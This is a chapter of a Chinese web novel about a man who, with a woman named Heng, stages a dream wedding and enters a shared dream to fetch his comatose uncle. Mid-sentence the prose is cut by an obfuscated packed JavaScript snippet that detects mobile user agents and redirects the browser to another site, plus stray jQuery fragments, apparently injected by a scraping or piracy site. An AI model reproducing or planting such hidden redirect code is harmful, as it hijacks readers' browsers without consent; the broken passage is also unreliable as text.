59. 失而复得

作品:《我在梦里打黑工

    “我真的不是你弟吧?”


    她一本正经地回答:“我回去问问我爸。”


    我和珩走在教堂前面的广场上,她今天穿的是一条黑色的礼服长裙,我认得这条裙子,这是她和我那套怪物史莱克合影时穿的婚纱的黑色版本。她似乎还收拾过她的绿色鸟窝头,她的头发用一个白珍珠串成的发箍固定,两边耳朵前面各留了一缕整理好的碎发。她好像做了个婚礼的演习,而我穿着睡裤和拖鞋,站在她旁边,显得很不文明。


    “你那天试衣服,难道没有给自己也挑一下吗?”她打量了一下我的极简休闲风,腰间挂串钥匙就像个包租公的穿搭,不禁问道。


    “真没有,”我说,“不过现在挑也来得及,男人的衣服都长那样。你觉得哪套好看?”


    “你穿,你觉得,你管我怎么觉得?”


    “我看着都差不多,你觉得呢?你喜欢哪个?”


    “我啊?我喜欢绿色那套,那套最好看,你穿那个吧。”


    我不知道她是认真的,还是故意的。如果是认真的,我可以认为她说我好看,是骂我的意思。


    我们测试了一下环境的稳定性,在测试的过程中,我顺带把自己的衣服换了。我换上了一套深灰色的西装四件套,出于一些小小的私心,我给自己挑了个深绿色的领带。珩在教堂后面的休息室里给我弄了个大镜子,看着看着,她也忍不住开始挑衣服。我的蓝条没有她的厚,动脑太多的话,醒来我会吃下一头牛。我坐在旁边看她玩换装游戏,今天终于不是给别人试衣服,只剩了我和她,气氛变得自在好多。至少我能由衷地表示好看了。


    但是她对我很不满意,因为“问你等于白问”,因为“换什么你都说好看”,因为“你是不是敷衍我”。


    为了不让我敷衍,她强制我在给出一个结论之后,必须附上相应的理由。这个思考过程使我的大脑耗能大幅增加,她换了五套衣服,梦里我的肚子就和现实中一样,“咕”地叫了一声。她的“这个好看吗”被我肚子的发言打断,她提着裙子转向我,之后没忍住笑起来。


    “我回去自己试吧,你真是,就知道吃!”


    认识她这么些日子,我算是摸清了她的行事准则。她就是嘴硬心软,她把我赶走之后,我就陷入了好长一段没有梦的睡眠里。这肯定是她的手笔,毕竟我总做噩梦,这样平静得有点幸福的晚上,对于我来说是不可能事件。我不知睡了多久,因为今天是周末,我连闹钟都没调。


    最后我是在一阵惊天动地的手机铃声里醒来的,我闭着眼睛在床头柜上乱摸,看也没看就接通电话。珩的声音从手机里钻出来:“喂,醒了吗?”


    我赶紧睁开眼,回答:“醒了,现在醒了。”


    “十一点了,猪!快起来开门,我在你家门口。”


    睡到十一点是她给我设定的,现在骂我猪的也是她,唉女人。我从床上迷迷糊糊地爬起来,趿拉着拖鞋就走去给她开门。我没关阳台门,一开大门,对流的风就往我脸上身上扑来。我才发现我没穿上衣,珩站在我面前,我想起好久之前她在浴室里一脸嫌弃地看我脱衣服的那天,我赶紧为我的衣冠不整道歉:“对不起睡蒙了,你先进来——”然后转身要去拿衣服。她的小手抓住我的手腕,我停下脚步,她另一只手大方地向我伸来,放在我的胸膛上,之后不管不顾地摸来又摸去。她摸够了之后就像条泥鳅一样,灵活地从我和门之间的空隙里钻进了屋。只剩下睡迷糊了又被吓醒的我,站在门口,和隔壁刚买学区房搬进来的一家三口面面相觑。


    看起来三四十岁的两夫妻早被工作和带小孩掏空了精力,看完珩一套行云流水的非礼动作,他们仿佛在看这个时节还穿着大羽绒的南半球人类一样看着我,而他们腿边的六七岁小孩,天真地用他的大眼睛看看爸爸,看看妈妈,再看看我,然后问:“为什么那个姐姐要摸他呀?他身上有东西吗?”


    有口难言,百口莫辩。唉。


    我和珩坐在沙发上,她说晚上的婚礼耗能巨大,你还是得多吃点。我们看了半天app上的美食推荐,最后一致同意去吃放题。


    我和珩在餐厅刚开门的时候就到达,店员果然认得我们,一看我们来,他们热情地招呼我们,问我们要不要还坐在上次的位置。我们还像上次一样,虽然今天没有什么秘密,但因为已经习惯了,我们两个还是挤在同一边卡座里坐着。这一顿吃得不错,鳄鱼珩吃得小肚圆滚滚,我虽然明知道我应该多吃点,但我到底还没有完成人类到爬行动物的退化,我努力地在往嘴里塞东西,珩点完一趟又一趟,桌上的菜肴,始终处于动态平衡之中,这样的进食很没有成就感,我吃得甚至有点绝望。吃饱出去,我们两个又被沿途的顾客和服务员施以注目礼。珩摸了摸她T恤下面吃得鼓起来的肚子,愉快地表示我们以后都要在中午来吃,因为午市比晚市便宜三十块,还不耽误她九点睡觉。


    因为担心物理距离太远,会影响我们进入同一个梦境(时间过于仓促,我们无法测试梦境的边缘在哪里),我们只好把原本定好的饭店包厢取消,转而在距离医院不到一百米的一个小餐馆里找了个位置。考虑到现在大家的心情一般,吃饭可能吃不下去,我和珩商量了一下,决定把婚礼的时间定在吃饭前的十五分钟。幸好我们中午吃得足够多,我备好了一袋子巧克力和甜水,五点钟,我到六叔所在医院的ICU门口等着。


    珩翻看我带来的一大袋子高糖高油补剂,说:“你在医院里,你怕什么,不用带那么多。”


    “这是家属等候区,又不是ICU里面,”我说,“里面医生不仅看病人,还得看家属。我要是在这里晕过去,跟碰瓷有什么区别?”


    五点十五分,珩答应我,会在梦境结束的瞬间,就冲过来接我去吃饭。我现在还没消化完中午的食物,对吃饭还没有很强烈的冲动,听她这么说,我只是点了点头。之后她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16481984|177656||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想了想,把一个旧手机塞到我手里。那大概是个十几年前的初代智能机,我几乎要忘记,手机居然还有这么小的时候。


    见我疑惑地看她,她又往我手里塞了个副有线耳机。她把耳机的线插上,之后点开一个音频播放app,对我说:“等会你就播放这段音频,之后你就会睡着。睡着之后就跟我们今天演习时那样,到教堂去找我。”


    五点半,珩离开家属等待区。


    这时候已经过了平时的探视时间,医院里的人都走了,有护士来问我是谁,我说我是匡五六的家属。因为六叔病得比较重,护士听了,没有赶人的意思。我找了个靠墙的角落,测试了一下等会睡过去的姿势,并且找了个监控摄像头能拍到的位置——不开玩笑,低血糖真的会死人。虽然珩答应了会来,但我还是要找个监控能看到的地方,至少晕过去了,里面的医生能赶出来救我。


    五点四十五分,珩让我准备。


    六点,我按照约定的时间,戴上耳机,打开她给我的音频。


    那是一段暴雨白噪音,我很难不想起几个月前东海市的人鱼电影院。虽然个中原理我完全不懂,因为它乍听起来,确实只是一段普通的下雨声。但不知怎的,我又恍恍惚惚地睡了过去。耳机隔音不是特别好,不远处电梯叮叮当当的声音时不时钻进来,入睡的过程比珩在我身边的时候要慢一些。但总算是进去了,我又看见了那片灰绿色的湖。在我的旁边,插着好多根透明的电梯井。一天过去,ICU里有人转回普通病房,也有人转进来,漂浮的人里多了几个生面孔。幸好我还记得六叔的方位,我循着电梯往下沉,到达睡眠和昏迷的交界面,之后直接开上八十一倍速,朝六叔的所在的方向去。


    他比昨天又下沉了不少,但我游得比他快,没多久,我就看见了水里他发着微光的身体。我大喊:“六叔!”


    现实中的一天,在这里可能是几十天,六叔一个人呆烦了,听到我喊他,兴奋地回应我:“在这呢!你又来啦?”


    我循声游过去,这里只有我和他,水里全是我的声音:“我又来了,今天有个大事——”


    “什么大事?”


    “终身大事,”我说,“先别问,新娘等着呢,赶紧抓住我。”


    原本以为已经没有希望的教堂婚礼,忽然间又可以办了,六叔惊喜得语无伦次,一时间诸多事情要操心,不知道该先操心哪个好。他说他秃顶,假的头发没带,而真的头发好多天没洗,更别说是染黑,花白的几撮头发,油腻腻地黏在头上,看起来像发霉。又说他穿着病号服,不好看。我拉着他在水里穿行,在巨大的水流声之中,我说,这些你都不用管,因为我们是一条龙服务,服装场地活动,全部给你安排。他现在真是一条龙,水声太吵,他聋得听不清我说话。我也听不清他说什么,但不重要了,因为我们已经回到了家。


    我带他走过沙发前狭窄的通道,之后翻出珩的照片。